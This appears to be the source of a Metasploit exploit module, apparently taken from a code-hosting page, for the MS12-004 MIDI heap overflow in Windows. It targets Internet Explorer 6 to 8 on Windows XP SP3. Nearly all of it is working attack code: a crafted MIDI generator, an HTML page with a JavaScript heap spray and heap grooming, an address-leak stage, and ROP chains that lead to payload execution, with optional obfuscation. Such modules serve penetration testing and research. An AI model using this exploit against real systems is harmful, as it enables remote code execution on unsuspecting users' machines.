rapid7/metasploit-framework

View on GitHub
modules/exploits/windows/browser/ms12_004_midi.rb

Summary

Maintainability
A
30 mins
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow",
      'Description'    => %q{
          This module exploits a heap overflow vulnerability in the Windows Multimedia
        Library (winmm.dll). The vulnerability occurs when parsing specially crafted
        MIDI files.  Remote code execution can be achieved by using the Windows Media Player
        ActiveX control.

          Exploitation is done by supplying a specially crafted MIDI file with
        specific events, causing the offset calculation being higher than what is
        available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing
        us to either "inc al" or "dec al" a byte.  This can be used to corrupt an array
        (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
        which leverages remote code execution under the context of the user.

          Note: At this time, for IE 8 target, msvcrt ROP is used by default. However,
        if you know your target's patch level, you may also try the 'MSHTML' advanced
        option for an info leak based attack.  Currently, this module only supports two
        MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3.
        Or 8.0.6001.19120, which is patch level before the MS12-004 fix.

          Also, based on our testing, the vulnerability does not seem to trigger when
        the victim machine is operated via rdesktop.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Shane Garrett',  #Initial discovery (IBM X-Force)
          'juan vazquez',
          'sinn3r'
        ],
      'References'     =>
        [
          [ 'MSB', 'MS12-004'],
          [ 'CVE', '2012-0003' ],
          [ 'OSVDB', '78210'],
          [ 'BID', '51292']
        ],
      'Payload'        =>
        {
          'Space'    => 1024
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC'             => "process",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'IE 6 on Windows XP SP3',
            {
              'Rop' => false,
              'DispatchDst' => 0x0c0c0c0c
            }
          ],
          [
            'IE 7 on Windows XP SP3',
            {
              'Rop' => false,
              'DispatchDst' => 0x0c0c0c0c
            }
          ],
          [
            'IE 8 on Windows XP SP3',
            {
              # xchg ecx,esp
              # or byte ptr [eax],al
              # add byte ptr [edi+5Eh],bl
              # ret 8
              # From IMAGEHLP
              'Rop' => true,
              'StackPivot'  => 0x76C9B4C2,
              'DispatchDst' => 0x0c0c1bd0
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-01-10',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ])

    register_advanced_options(
      [
        OptEnum.new('MSHTML',
          [
            false, "MSHTML Build Version", '',
            [
              '',               #Default (no leaky leaky)
              '8.0.6001.18702', #newly installed Win XP SP3 non patched
              '8.0.6001.19120'  #fully patched before KB2598479 - been the same at least since Sep 2011
            ]
          ])
      ])
  end

  def exploit
    @m_name, @midi       = get_midi
    @ml_name, @midi_leak = get_midi("leak")
    @second_stage_url    = rand_text_alpha(10)
    @leak_param          = rand_text_alpha(5)

    # Offset to CFunctionPointer vftable in MSHTML
    case datastore['MSHTML']
    when '8.0.6001.18702'
      @offset = 0xbf190
    when '8.0.6001.19120'
      @offset = 0xd92c8
    end
    super
  end

  def get_target(request)
    agent = request.headers['User-Agent']
    print_status("Request as: #{agent}")

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
      #Windows XP SP3 + IE 6.0
      return targets[1]
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
      #Windows XP SP3 + IE 7.0
      return targets[2]
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
      #Windows XP SP3 + IE 8.0
      return targets[3]
    else
      return nil
    end
  end

  # stage => "corruption" (default) | "leak"
  def get_midi(stage="corruption")
    # MIDI Fileformat Reference:
    # http://www.sonicspot.com/guide/midifiles.html
    #
    # Event Types:
    # 0x08 = Note Off (when MIDI key is released)
    # 0x09 = Note On (when MIDI key is pressed)
    # 0x0A = Note aftertouch (pressure change on the pressed MIDI key)
    # 0x0B = Controller Event (MIDI channels state)
    # 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)
    # 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)
    # 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)
    # 0x0F = Meta Events (not sent or received over a midi port)

    # Structure:
    # [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)

    # Track Chunk Data
    tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D"
    # Meta Event - Sequence/Track Name
    tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00"
    # Midi Channel Event - Program Change
    tc << "\x00\xC9\x28"
    # Midi Channel Event - Controller
    tc << "\x00\xB9\x07\x64"
    # Midi Channel Event - Controller
    tc << "\x00\xB9\x0A\x40"
    # Midi Channel Event - Controller
    tc << "\x00\xB9\x7B\x00"
    # Midi Channel Event - Controller
    tc << "\x00\xB9\x5B\x28"
    # Midi Channel Event - Controller
    tc << "\x00\xB9\x5D\x00"
    # Midi Channel Event - Note On
    tc << "\x85\x50\x99\x23\x7F"

    # Corruption events
    if stage == "corruption"
      # Midi Channel Event - Note On
      tc << "\x00\x9F\xb2\x73"
    else
      # Midi Channel Event - Note Off (trigger a leak)
      tc << "\x00\x8F\xb2\x73"
    end

    # Meta Event - End Of Track
    tc << "\x00\xFF\x2F\x00"
    m = ''
    # HEADERCHUNK Header
    m << "MThd"                 # Header
    m << "\x00\x00\x00\x06"     # Chunk size
    m << "\x00\x00"             # Format Type
    m << "\x00\x01"             # Number of tracks
    m << "\x00\x60"             # Time division
    # TRACKCHUNK header
    m << "MTrk"                 # Header
    m << [tc.length].pack('N')
    m << tc

    #midi_name = "test_case.mid"
    midi_name = rand_text_alpha(5) + ".mid"

    return midi_name, m
  end

  def on_request_uri(cli, request)

    # Initialize a target.  If none suitable, then we don't continue.
    my_target = target
    if my_target.name =~ /Automatic/
      my_target = get_target(request)
      agent = request.headers['User-Agent']
      if my_target.nil? and agent !~ /Windows\-Media\-Player|NSPlayer/
        send_not_found(cli)
        print_error("Unknown user-agent")
        return
      end
      vprint_status("Target selected: #{my_target.name}") if not my_target.nil?
    end

    # Send the corrupt midi file to trigger a memory leak, or a crash to that points
    # to an arbitrary address.
    if request.uri =~ /#{@ml_name}$/i
      print_status("Testing for info leak...")
      send_response(cli, @midi_leak, {'Content-Type'=>'application/octet-strem'})
      return
    elsif request.uri =~ /#{@m_name}$/i
      print_status("Sending midi corruption file...")
      send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
      return
    end

    # Send the appropriate stage
    if datastore['MSHTML'].to_s != '' and my_target['Rop']
      if request.uri =~ /#{@second_stage_url}/
        leak = begin
          request.uri_parts["QueryString"][@leak_param].to_i
        rescue
          0
        end
        print_status("Leaked address: 0x#{leak.to_s(16)}")
        send_stage(cli, my_target, 'trigger', leak)
        return
      end
      send_stage(cli, my_target, 'leak')
    else
      send_stage(cli, my_target)
    end
  end

  def send_stage(cli, my_target, stage='trigger', leak=0)
    midi_uri = get_resource.chomp("/")

    if stage == 'leak'
      midi_uri << "/#{@ml_name}"
      trigger = build_trigger(my_target, "leak")
    else
      midi_uri << "/#{@m_name}"
      trigger  = build_trigger(my_target)
      spray    = build_spray(my_target, leak)
    end

    if datastore['OBFUSCATE']
      spray   = ::Rex::Exploitation::JSObfu.new(spray).obfuscate(memory_sensitive: true)
      trigger = ::Rex::Exploitation::JSObfu.new(trigger)
      trigger.obfuscate(memory_sensitive: true)
      trigger_fn = trigger.sym('trigger')
    else
      trigger_fn = 'trigger'
    end

    html = %Q|
    <html>
    <head>
    <script language='javascript'>
    #{spray}
    </script>

    <script language='javascript'>
      #{trigger}
    </script>
    <script for=audio event=PlayStateChange(oldState,newState)>
      if (oldState == 3 && newState == 0) {
        #{trigger_fn}();
      }
    </script>
    </head>
    <body>
      <object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
        <param name="fileName" value="#{midi_uri}">
        <param name="SendPlayStateChangeEvents" value="true">
        <param NAME="AutoStart" value="True">
        <param name="uiMode" value="mini">
        <param name="Volume" value="-300">
      </object>
    </body>
    </html>
    |

    html = html.gsub(/^ {4}/, '')

    print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

  def build_spray(my_target, leak=0)

    # Extract string based on target
    if my_target.name == 'IE 8 on Windows XP SP3'
      js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
    else
      js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
    end

    # Build shellcode based on Rop requirement
    code = ''
    if my_target['Rop'] and datastore['MSHTML'].to_s != ''
      print_status("Generating ROP using info-leak: 0x#{leak.to_s(16)}")
      code << create_info_leak_rop(my_target, leak)
      code << payload.encoded
    elsif my_target['Rop'] and datastore['MSHTML'].to_s == ''
      print_status("Generating ROP using msvcrt")
      code << create_rop(my_target, payload.encoded)
    else
      code << payload.encoded
    end

    shellcode = Rex::Text.to_unescape(code)

    randnop = rand_text_alpha(rand(100) + 1)
    js_nops = Rex::Text.to_unescape("\x0c"*4)

    # 1. Create  big block of nops
    # 2. Compose one block which is nops + shellcode
    # 3. Repeat the block
    # 4. Extract string from the big block
    # 5. Spray
    spray = <<-JS
    var heap_obj = new heapLib.ie(0x10000);

    var code = unescape("#{shellcode}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x1000) nops+= nops;
    var shellcode =  nops.substring(0,0x800 - code.length) + code;
    while (shellcode.length < 0x40000) shellcode += shellcode;

    #{js_extract_str}

    heap_obj.gc();
    for (var i=0; i < 600; i++) {
      heap_obj.alloc(block);
    }

    JS

    spray = heaplib(spray, {:noobfu => true})
    return spray
  end

  # Build the JavaScript string for the attributes
  # type => "corruption" (default) | "leak"
  def build_element(element_name, my_target, type="corruption")
    dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
    element = ''

    if my_target.name =~ /IE 8/
      max   = 63   # Number of attributes for IE 8
      index = 1    # Where we want to confuse the type
    else
      max   = 55   # Number of attributes for before IE 8
      index = 0    # Where we want to confuse the type
    end

    element << "var #{element_name} = document.createElement(\"select\")" + "\n"

    # Build attributes
    0.upto(max) do |i|
      case type
        when "corruption"
          obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
        else #leak
          obj = "alert"
      end
      element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
    end

    return element
  end

  # Feng Shui and triggering Steps:
  # 1. Run the garbage collector before allocations
  # 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
  # 3. Make holes
  # 4. Let windows media play the crafted midi file and corrupt the heap
  # 5. Force the using of the confused tagVARIANT.
  def build_trigger(my_target, type="corruption")
    js_trigger = build_trigger_fn(my_target, type)
    select_element = build_element('selob', my_target, type)

    trigger = <<-JS
      var heap = new heapLib.ie();
      #{select_element}
      var clones = new Array(1000);

      function feng_shui() {
        heap.gc();

        var i = 0;
        while (i < 1000) {
          clones[i] = selob.cloneNode(true)
          i = i + 1;
        }

        var j = 0;
        while (j < 1000) {
          delete clones[j];
          CollectGarbage();
          j  = j + 2;
        }
      }

      feng_shui();

      #{js_trigger}
    JS

    trigger = heaplib(trigger, {:noobfu => true})
    return trigger
  end

  # type = "corruption" (default) | "leak"
  def build_trigger_fn(my_target, type="corruption")
    js_trigger=""
    case type
      when "corruption"
        js_trigger = js_trigger_fn_corruption(my_target)
      when "leak"
        js_trigger = js_trigger_fn_leak(my_target)
    end
    return js_trigger
  end

  # Redoing the feng shui if fails makes it reliable
  def js_trigger_fn_corruption(my_target)
    attribute = (my_target.name == 'IE 8 on Windows XP SP3') ? 'w1' : 'w0'

    js = %Q|
    function trigger(){
      var k = 999;
      while (k > 0) {
        if (typeof(clones[k].#{attribute}) == "string") {
        } else {
          clones[k].#{attribute}('come on!');
        }
        k = k - 2;
      }
      feng_shui();
      document.audio.Play();
    }
    |

    return js
  end

  # Redoing the feng shui if fails makes it reliable
  def js_trigger_fn_leak(my_target)
    js_trigger = ""
    if my_target.name == 'IE 8 on Windows XP SP3'
      js_trigger = <<-JSTRIGGER
      function trigger(){
        var k = 999;
        while (k > 0) {
          if (typeof(clones[k].w1) == "string") {
            var leak = clones[k].w1.charCodeAt(1)*0x10000 + clones[k].w1.charCodeAt(0)
            document.location = "#{get_resource.chomp("/")}/#{@second_stage_url}" + "?#{@leak_param}=" + leak
            return;
          }
          k = k - 2;
        }
        feng_shui();
        document.audio.Play();
      }
      JSTRIGGER
    end

    return js_trigger
  end

  def create_rop(t, p)
    # MSVCRT.dll ROP
    padding = ''
    padding << [0x77C4CA70].pack("V*")        #ADD ESP,0C; RET
    padding << [t['StackPivot']].pack("V*")
    padding << [0x77C4CA73].pack("V*") * 12   #ROP NOPs
    generate_rop_payload('msvcrt', p, {'pivot'=>padding, 'target'=>'xp'})
  end

  def create_info_leak_rop(my_target, leak = 0x0)
    base = (leak == 0x00) ? 0x63580000 : (leak - @offset)
    print_status("Image base of mshtml: 0x%x" %base)

    # Generate the gadgets based on offset
    rop_gadgets = ''
    case @offset
    when 0xd92c8
      rop_gadgets =
      [
        :junk,
        :junk,
        0x328468,   # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14
        :junk,
        0x247e5d,   # ROP NOPs
        0x247e5d,
        0x247e5d,
        0x247e5d,
        0x247e5d,
        0x247e5d,
        0x247e5d,
        0x247e5c,   # POP ESI # RETN [mshtml.dll]
        0x137c,     # ptr to &VirtualProtect() [IAT mshtml.dll]
        0x3c8db7,   # MOV EDX,DWORD PTR DS:[ESI] # ADD EAX,8BCE8B00 # RETN [mshtml.dll]
        0x42e239,   # PUSH EDX # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x08 [mshtml.dll]
        :junk,
        0x3460c,    # POP EBP # RETN [mshtml.dll]
        :junk,
        :junk,
        0x23ef79,   # & jmp esp [mshtml.dll]
        0x189303,   # POP EBX # RETN [mshtml.dll]
        :ebx,       # 0x00000201-> ebx
        0x20437c,   # POP EDX # RETN [mshtml.dll]
        :edx,       # 0x00000040-> edx
        0xc277,     # POP ECX # RETN [mshtml.dll]
        0x53a47d,   # &Writable location [mshtml.dll]
        0x4a33e2,   # POP EDI # RETN [mshtml.dll]
        0x4b601,    # RETN (ROP NOP) [mshtml.dll]
        0x33fbc6,   # POP EAX # RETN [mshtml.dll]
        :nop,
        0x52c718    # PUSHAD # RETN [mshtml.dll]
      ]

    when 0xbf190
      rop_gadgets =
      [
        :junk,
        0x3338ae,  # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14
        :junk,
        0xe9e7,    # POP ECX # RETN [mshtml.dll] 0x6358e9e7
        :junk,
        :junk,
        :junk,
        :junk,
        :junk,
        0x1318,     # ptr to &VirtualProtect() [IAT mshtml.dll]
        0x48b440,   # MOV EDX,DWORD PTR DS:[ECX] # RETN [mshtml.dll]
        0x3dc745,   # POP ESI # RETN [mshtml.dll]
        :neg,       # 0xffffffff
        0x2fb18b,   # INC ESI # RETN [mshtml.dll]
        0x35190d,   # ADC ESI,EDX # DEC ECX # RETN 08 [mshtml.dll]
        0x4aada7,   #  POP EBP # RETN [mshtml.dll]
        :junk,      # Compensates RETN
        :junk,      # Compensates RETN
        0x1ffc54,   # & jmp esp [mshtml.dll]
        0x4498a7,   # POP EBX # RETN [mshtml.dll]
        :ebx,       # 0x00000800: 0x00000201-> ebx
        0x24cce4,   # POP EDX # RETN [mshtml.dll]
        :edx,       # 0x00000040-> edx
        0x158306,   # POP ECX # RETN [mshtml.dll]
        0x535098,   # &Writable location [mshtml.dll]
        0x1cf217,   # POP EDI # RETN [mshtml.dll]
        0xa0001,    # RETN (ROP NOP) [mshtml.dll]
        0x349f9b,   # POP EAX # RETN [mshtml.dll]
        :nop,
        0x2afbe8    # PUSHAD # RETN [mshtml.dll]
      ]
    end

    nops = make_nops(4).unpack("L")[0].to_i

    rop_gadgets.map! { |e|
      if e == :junk
        rand_text(4).unpack("L")[0].to_i
      elsif e == :neg
        0xffffffff
      elsif e == :ebx
        0x00000800
      elsif e == :edx
        0x00000040
      elsif e == :nop
        nops
      else
        base + e
      end
    }

    chain = rop_gadgets.pack('V*')
    return chain
  end
end